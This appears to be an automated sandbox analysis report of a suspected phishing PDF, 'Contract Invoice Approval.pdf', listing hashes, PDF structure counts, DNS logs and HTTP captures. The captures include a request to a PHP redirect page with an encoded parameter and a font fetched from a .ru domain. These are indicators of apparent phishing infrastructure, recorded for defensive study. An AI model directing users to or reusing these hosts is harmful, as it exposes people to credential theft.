Preview:	2025/03/21-02:02:20.700 1860 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/03/21-02:02:20.702 1860 Recovering log #3.2025/03/21-02:02:20.703 1860 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 28000, version 1.66
Category:	downloaded
Size (bytes):	28000
Entropy (8bit):	7.99335735457429
Encrypted:	true
SSDEEP:	768:NDT1rKvlJOE1AgLlnGj8H58AJUcl5I17ML7FfNHubNIphqb:NDtKvyAhjHeACcl21YL7KNW+
MD5:	A4BCA6C95FED0D0C5CC46CF07710DCEC
SHA1:	73B56E33B82B42921DB8702A33EFD0F2B2EC9794
SHA-256:	5A51D246AF54D903F67F07F2BD820CE77736F8D08C5F1602DB07469D96DBF77F
SHA-512:	60A058B20FCB4F63D02E89225A49226CCD7758C21D9162D1B2F4B53BBA951B1C51D3D74C562029F417D97F1FCA93F25FDD2BC0501F215E3C1EF076810B54DD06
Malicious:	false
URL:	https://zy7z.fmaymzjp.ru/GDSherpa-bold.woff2
Preview:	wOF2......m`......$...l....B.......................6....`..<.<..b.....$....6.$..x..>.. .....{...[..q.k.]]O....s...\|..n...!..[<;....P&..g....!..I'i..Q.DP....9..J......9G..Q1(..)Jn......8Y......)J.F.c A..7k.v...2=.Z.n.4`...~Nl...4;...S.l{w..:.#..=!. ..X....>[.7........1??.3.?t..qE..f...b...,.Fwcp8...4^.^x..\|....Ro<%.."....~0..q..rP..G.......R....-..{O.QeJ.....6.E........{.{.....,h.!.._......$..3..cF@..>........t.o...Fc ...YS.....s.V..j....uk.`n......#....6.....1`kbd..Z..).x...F........T.._..}...p..._F.0.S'.V.g........3.$...Jf.j._,J....v7(...(..bm.....a....Nh.(QS.H...5.w.o.1.[<m.1.cJ......B......R..L..>[\|@..]../...6.\..(.j.Bn...Oj.&/j@.'T...w.,......e.g.I=.w.x..ap..?.......lI../..uuDH.P.....)._...<..C.x.......Kh.P.\|"M..JQ......?`..S@{..o..RjCE.qx.p.!(Wi....dY.%./r.#.p..C ..........r.o4P.}...3X..].....6.'~&...]...y...YQ..9."v....3...oEMQoWM.W`................Y.V..O2......l....p.1..B..Fn..o.<..,C......^.Y.C...W..tX..\|.`...5:.Yd@]..j..$...v.

File type:	PDF document, version 1.7, 0 pages
Entropy (8bit):	7.271110313948017
TrID:	Adobe Portable Document Format (5005/1) 100.00%
File name:	Contract Invoice Approval.pdf
File size:	5'363 bytes
MD5:	efb7afc23b2cc667f0205e3df6b70161
SHA1:	4dbe6fd3870b16f1b61ee2aa1022ae2182ebde68
SHA256:	5aebca6ebf77f7611fad29e2ce958e3c933d7ad088457c9fb82e5645bc830034
SHA512:	d31ab9fa045bfd5cb9510d9df9de5b286423efc0cb91beb95ed8fcd32936df43ff4a46d7282ab2737f5a63ea670eead89b2f5d4b02e2425bbb42502f8b6bcdd1
SSDEEP:	96:Bvma0krAL28ZEYhlPYIxs2QK4nH0Bi+FPN8okojJ2:ObiwYsyIFPZ0
TLSH:	C6B11BB9D9A8688CFC83DA30D16B358E40AC717357DC7CD204281F97E454D54EA16AF7
File Content Preview:	%PDF-1.7.1 0 obj.<< /Type /Catalog./Outlines 2 0 R./Pages 3 0 R >>.endobj.2 0 obj.<< /Type /Outlines /Count 0 >>.endobj.3 0 obj.<< /Type /Pages./Kids [6 0 R.]./Count 1./Resources <<./ProcSet 4 0 R./Font << ./F1 8 0 R./F2 9 0 R.>>./XObject << ./I1 10 0 R.>

General
Header:	%PDF-1.7
Total Entropy:	7.271110
Total Bytes:	5363
Stream Entropy:	7.869440
Stream Bytes:	3015
Entropy outside Streams:	5.096095
Bytes outside Streams:	2348
Number of EOF found:	1
Bytes after EOF:

Name	Count
obj	18
endobj	18
stream	3
endstream	3
xref	1
trailer	1
startxref	1
/Page	1
/Encrypt	0
/ObjStm	0
/URI	2
/JS	0
/JavaScript	0
/AA	0
/OpenAction	0
/AcroForm	0
/JBIG2Decode	0
/RichMedia	0
/Launch	0
/EmbeddedFile	0

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 21, 2025 07:02:32.281141043 CET	52730	53	192.168.2.16	1.1.1.1
Mar 21, 2025 07:02:32.382890940 CET	53	52730	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:06.095710039 CET	58655	53	192.168.2.16	1.1.1.1
Mar 21, 2025 07:03:06.095910072 CET	53488	53	192.168.2.16	1.1.1.1
Mar 21, 2025 07:03:06.191679001 CET	53	60755	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:06.210236073 CET	53	58186	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:06.217370987 CET	53	53488	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:06.244180918 CET	53	58655	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:06.869234085 CET	54443	53	192.168.2.16	1.1.1.1
Mar 21, 2025 07:03:06.869726896 CET	58825	53	192.168.2.16	1.1.1.1
Mar 21, 2025 07:03:06.967910051 CET	53	58825	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:06.977154016 CET	53	57875	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:07.004713058 CET	53	54443	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:07.676507950 CET	57759	53	192.168.2.16	1.1.1.1
Mar 21, 2025 07:03:07.676647902 CET	60539	53	192.168.2.16	1.1.1.1
Mar 21, 2025 07:03:08.038836956 CET	53	57759	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:08.097369909 CET	53	60539	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:09.308991909 CET	50641	53	192.168.2.16	1.1.1.1
Mar 21, 2025 07:03:09.309140921 CET	65337	53	192.168.2.16	1.1.1.1
Mar 21, 2025 07:03:09.310947895 CET	52756	53	192.168.2.16	1.1.1.1
Mar 21, 2025 07:03:09.311834097 CET	54428	53	192.168.2.16	1.1.1.1
Mar 21, 2025 07:03:09.407229900 CET	53	65337	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:09.409024000 CET	53	50641	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:09.434901953 CET	53	54428	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:09.450714111 CET	53	52756	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:10.608364105 CET	51881	53	192.168.2.16	1.1.1.1
Mar 21, 2025 07:03:10.608560085 CET	59313	53	192.168.2.16	1.1.1.1
Mar 21, 2025 07:03:10.705749989 CET	53	51881	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:10.706029892 CET	53	59313	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:11.331486940 CET	63586	53	192.168.2.16	1.1.1.1
Mar 21, 2025 07:03:11.331671000 CET	55946	53	192.168.2.16	1.1.1.1
Mar 21, 2025 07:03:11.431160927 CET	53	63586	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:11.432168007 CET	53	55946	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:11.912631035 CET	65504	53	192.168.2.16	1.1.1.1
Mar 21, 2025 07:03:11.912779093 CET	50391	53	192.168.2.16	1.1.1.1
Mar 21, 2025 07:03:12.033934116 CET	53	65504	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:12.043246031 CET	53	50391	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:16.526228905 CET	56846	53	192.168.2.16	1.1.1.1
Mar 21, 2025 07:03:16.526367903 CET	61870	53	192.168.2.16	1.1.1.1
Mar 21, 2025 07:03:16.846548080 CET	53	56846	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:16.848798037 CET	53	61870	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:17.794059992 CET	54505	53	192.168.2.16	1.1.1.1
Mar 21, 2025 07:03:17.794213057 CET	58161	53	192.168.2.16	1.1.1.1
Mar 21, 2025 07:03:17.896068096 CET	53	58161	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:18.036675930 CET	53	54505	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:18.261476040 CET	60768	53	192.168.2.16	1.1.1.1
Mar 21, 2025 07:03:18.261653900 CET	65440	53	192.168.2.16	1.1.1.1
Mar 21, 2025 07:03:18.611649036 CET	53	60768	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:18.640822887 CET	53	65440	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:19.482659101 CET	53408	53	192.168.2.16	1.1.1.1
Mar 21, 2025 07:03:19.482820034 CET	54920	53	192.168.2.16	1.1.1.1
Mar 21, 2025 07:03:19.583673954 CET	53	53408	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:19.584088087 CET	53	54920	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:20.894367933 CET	50745	53	192.168.2.16	1.1.1.1
Mar 21, 2025 07:03:20.895546913 CET	61355	53	192.168.2.16	1.1.1.1
Mar 21, 2025 07:03:20.901741982 CET	55351	53	192.168.2.16	1.1.1.1
Mar 21, 2025 07:03:20.901982069 CET	52043	53	192.168.2.16	1.1.1.1
Mar 21, 2025 07:03:20.998167992 CET	53	50745	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:21.001416922 CET	53	61355	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:21.037601948 CET	53	55351	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:21.057745934 CET	53	52043	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:21.445364952 CET	52346	53	192.168.2.16	1.1.1.1
Mar 21, 2025 07:03:21.445509911 CET	61247	53	192.168.2.16	1.1.1.1
Mar 21, 2025 07:03:21.544066906 CET	53	52346	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:21.546854019 CET	53	61247	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:23.908730984 CET	53	49692	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:24.041455984 CET	51749	53	192.168.2.16	1.1.1.1
Mar 21, 2025 07:03:24.041599989 CET	57299	53	192.168.2.16	1.1.1.1
Mar 21, 2025 07:03:24.167618036 CET	53	57299	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:24.195444107 CET	53	51749	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:24.854979992 CET	53	63360	1.1.1.1	192.168.2.16
Mar 21, 2025 07:03:31.628642082 CET	138	138	192.168.2.16	192.168.2.255
Mar 21, 2025 07:03:42.686247110 CET	53	63471	1.1.1.1	192.168.2.16
Mar 21, 2025 07:04:05.696882010 CET	53	54012	1.1.1.1	192.168.2.16
Mar 21, 2025 07:04:06.037992954 CET	53	54913	1.1.1.1	192.168.2.16
Mar 21, 2025 07:04:09.050838947 CET	53	55643	1.1.1.1	192.168.2.16
Mar 21, 2025 07:04:19.489245892 CET	65436	53	192.168.2.16	1.1.1.1
Mar 21, 2025 07:04:19.489366055 CET	55143	53	192.168.2.16	1.1.1.1
Mar 21, 2025 07:04:19.587255001 CET	53	65436	1.1.1.1	192.168.2.16
Mar 21, 2025 07:04:19.587991953 CET	53	55143	1.1.1.1	192.168.2.16

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2025 07:02:32.510942936 CET	115	OUT	GET / HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Microsoft-CryptoAPI/10.0 Host: x1.i.lencr.org
Mar 21, 2025 07:02:32.635288954 CET	1254	IN	HTTP/1.1 200 OK Server: nginx Content-Type: application/pkix-cert Last-Modified: Fri, 04 Aug 2023 20:57:56 GMT ETag: "64cd6654-56f" Content-Disposition: attachment; filename="ISRG Root X1.der" Cache-Control: max-age=73365 Expires: Sat, 22 Mar 2025 02:25:17 GMT Date: Fri, 21 Mar 2025 06:02:32 GMT Content-Length: 1391 Connection: keep-alive Data Raw: 30 82 05 6b 30 82 03 53 a0 03 02 01 02 02 11 00 82 10 cf b0 d2 40 e3 59 44 63 e0 bb 63 82 8b 00 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 4f 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 29 30 27 06 03 55 04 0a 13 20 49 6e 74 65 72 6e 65 74 20 53 65 63 75 72 69 74 79 20 52 65 73 65 61 72 63 68 20 47 72 6f 75 70 31 15 30 13 06 03 55 04 03 13 0c 49 53 52 47 20 52 6f 6f 74 20 58 31 30 1e 17 0d 31 35 30 36 30 34 31 31 30 34 33 38 5a 17 0d 33 35 30 36 30 34 31 31 30 34 33 38 5a 30 4f 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 29 30 27 06 03 55 04 0a 13 20 49 6e 74 65 72 6e 65 74 20 53 65 63 75 72 69 74 79 20 52 65 73 65 61 72 63 68 20 47 72 6f 75 70 31 15 30 13 06 03 55 04 03 13 0c 49 53 52 47 20 52 6f 6f 74 20 58 31 30 82 02 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 02 0f 00 30 82 02 0a 02 82 02 01 00 ad e8 24 73 f4 14 37 f3 9b 9e 2b 57 28 1c 87 be dc b7 df 38 90 8c 6e 3c e6 57 a0 78 f7 75 c2 a2 fe f5 6a 6e f6 00 4f 28 db de 68 86 6c 44 93 b6 b1 63 fd 14 12 6b bf 1f d2 ea 31 9b 21 7e d1 33 [TRUNCATED] Data Ascii: 0k0S@YDcc0H0O10UUS1)0'U Internet Security Research Group10UISRG Root X10150604110438Z350604110438Z0O10UUS1)0'U Internet Security Research Group10UISRG Root X10"0H0$s7+W(8n<WxujnO(hlDck1!~3<Hy!KqiJffl~<p)"K~G\|H#S8Oo.IWt/8{p!u0<cOK~w.{JL%p)S$J?aQcq.o[\4ylv;by/&676urIAv5/(ldwnG7Y^hrA)>Y>&$ZL@F:Qn;}rxY>Qx/>{JKsP\|Ctt0[q600\H;}`)A\|;FHvvj=8d+(B"']ypN:'Qnd3COB0@0U0U00UyY{sXn0*HUXPi ')au
Mar 21, 2025 07:02:32.635313988 CET	491	IN	Data Raw: 5c 8a 6e f8 82 e5 69 2f d5 f6 56 4b b9 b8 73 10 59 d3 21 97 7e e7 4c 71 fb b2 d2 60 ad 39 a8 0b ea 17 21 56 85 f1 50 0e 59 eb ce e0 59 e9 ba c9 15 ef 86 9d 8f 84 80 f6 e4 e9 91 90 dc 17 9b 62 1b 45 f0 66 95 d2 7c 6f c2 ea 3b ef 1f cf cb d6 ae 27 Data Ascii: \ni/VKsY!~Lq`9!VPYYbEf\|o;'}~"+"4[XT&3L-<W,N;1"ss993#L<U)"k;W:pMMl]+NEJ&rj,_(.{q{

Timestamp	Bytes transferred	Direction	Data
2025-03-21 06:03:06 UTC	840	OUT	GET /cllascio.php?342d363837343734373037333361326632663561353933373761326536363664363137393664376136613730326537323735326636363439363336313465363437353532363537303631353332662d HTTP/1.1 Host: vleducationdemo.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 06:03:06 UTC	191	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 06:03:06 GMT Server: Apache Access-Control-Allow-Origin: * Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-03-21 06:03:06 UTC	3795	IN	Data Raw: 65 63 37 0d 0a 20 20 20 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0d 0a 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 2c 68 74 6d 6c 7b 6d 61 72 67 69 6e 3a 33 30 70 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e Data Ascii: ec7 <html><head> <meta name="robots" content="noindex, nofollow"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <style>body,html{margin:30px;display:flex;justify-content:cen

Timestamp	Bytes transferred	Direction	Data
2025-03-21 06:03:07 UTC	606	OUT	GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://vleducationdemo.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 06:03:07 UTC	966	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 06:03:07 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03e2d-bb78" Last-Modified: Mon, 04 May 2020 16:09:17 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 635689 Expires: Wed, 11 Mar 2026 06:03:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hriq7aY4Dt%2FGC5CTsoJ60q8L3snx2xzLxxFMvTthMkqV7a0TwfmHJV%2F8guzyKAwJzz40b%2B2zK2p12huhS7mTDbjqgsPt0G38%2B13qfg%2B4O9l%2FybRrQ%2BWmSSM9OSZFhMt4qCxzUaAM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 923b3e8bb8938ae3-EWR alt-svc: h3=":443"; ma=86400
2025-03-21 06:03:07 UTC	403	IN	Data Raw: 37 62 65 62 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 2c 74 2c 65 2c 72 2c 69 2c 6e 2c 66 2c 6f 2c 73 2c 63 2c 61 2c 6c 2c 64 2c 6d 2c 78 2c 62 2c 48 2c 7a 2c 41 2c 75 2c 70 2c 5f 2c 76 2c 79 2c 67 2c 42 2c 77 2c 6b 2c 53 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 2c 4b 2c 58 2c 4c 2c 6a 2c 4e 2c 54 2c 71 2c 5a Data Ascii: 7beb!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z
2025-03-21 06:03:07 UTC	1369	IN	Data Raw: 70 74 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 26 26 28 74 3d 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 74 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 69 66 28 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d Data Ascii: pto&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"=
2025-03-21 06:03:07 UTC	1369	IN	Data Raw: 28 76 61 72 20 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 2b 29 7b 76 61 72 20 73 3d 72 5b 6f 3e 3e 3e 32 5d 3e 3e 3e 32 34 2d 6f 25 34 2a 38 26 32 35 35 3b 65 5b 69 2b 6f 3e 3e 3e 32 5d 7c 3d 73 3c 3c 32 34 2d 28 69 2b 6f 29 25 34 2a 38 7d 65 6c 73 65 20 66 6f 72 28 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 3d 34 29 65 5b 69 2b 6f 3e 3e 3e 32 5d 3d 72 5b 6f 3e 3e 3e 32 5d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 69 67 42 79 74 65 73 2b 3d 6e 2c 74 68 69 73 7d 2c 63 6c 61 6d 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 77 6f 72 64 73 2c 65 3d 74 68 69 73 2e 73 69 67 42 79 74 65 73 3b 74 5b 65 3e 3e 3e 32 5d 26 3d 34 32 39 34 39 36 37 32 39 35 3c 3c 33 32 2d 65 25 34 2a 38 2c 74 2e 6c 65 6e 67 74 68 3d 6c 2e 63 65 69 6c 28 65 2f 34 29 7d 2c 63 6c 6f 6e Data Ascii: (var o=0;o<n;o++){var s=r[o>>>2]>>>24-o%48&255;e[i+o>>>2]\|=s<<24-(i+o)%48}else for(o=0;o<n;o+=4)e[i+o>>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%4*8,t.length=l.ceil(e/4)},clon
2025-03-21 06:03:07 UTC	1369	IN	Data Raw: 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 6c 2e 63 65 69 6c 28 73 29 3a 6c 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 61 3d 6c 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 63 3b 68 2b 3d 6f 29 74 68 69 73 2e 5f Data Ascii: .parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?l.ceil(s):l.max((0\|s)-this._minBufferSize,0))o,a=l.min(4*c,n);if(c){for(var h=0;h<c;h+=o)this._
2025-03-21 06:03:07 UTC	1369	IN	Data Raw: 3d 30 2c 32 35 35 3d 3d 3d 69 3f 69 3d 30 3a 2b 2b 69 29 3a 2b 2b 72 29 3a 2b 2b 65 2c 74 3d 30 2c 74 2b 3d 65 3c 3c 31 36 2c 74 2b 3d 72 3c 3c 38 2c 74 2b 3d 69 7d 65 6c 73 65 20 74 2b 3d 31 3c 3c 32 34 3b 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 66 74 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 66 74 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 66 74 5b Data Ascii: =0,255===i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<ft[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<ft[
2025-03-21 06:03:07 UTC	1369	IN	Data Raw: 36 33 30 39 32 2b 28 65 5b 34 5d 3e 3e 3e 30 3c 77 74 5b 34 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 36 5d 3d 65 5b 36 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 35 5d 3e 3e 3e 30 3c 77 74 5b 35 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 37 5d 3d 65 5b 37 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 36 5d 3e 3e 3e 30 3c 77 74 5b 36 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 74 68 69 73 2e 5f 62 3d 65 5b 37 5d 3e 3e 3e 30 3c 77 74 5b 37 5d 3e 3e 3e 30 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 2c 73 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 2c 63 3d 28 28 34 32 39 34 39 30 31 37 36 30 26 Data Ascii: 63092+(e[4]>>>0<wt[4]>>>0?1:0)\|0,e[6]=e[6]+1295307597+(e[5]>>>0<wt[5]>>>0?1:0)\|0,e[7]=e[7]+3545052371+(e[6]>>>0<wt[6]>>>0?1:0)\|0,this._b=e[7]>>>0<wt[7]>>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((nn>>>17)+no>>>15)+o*o,c=((4294901760&
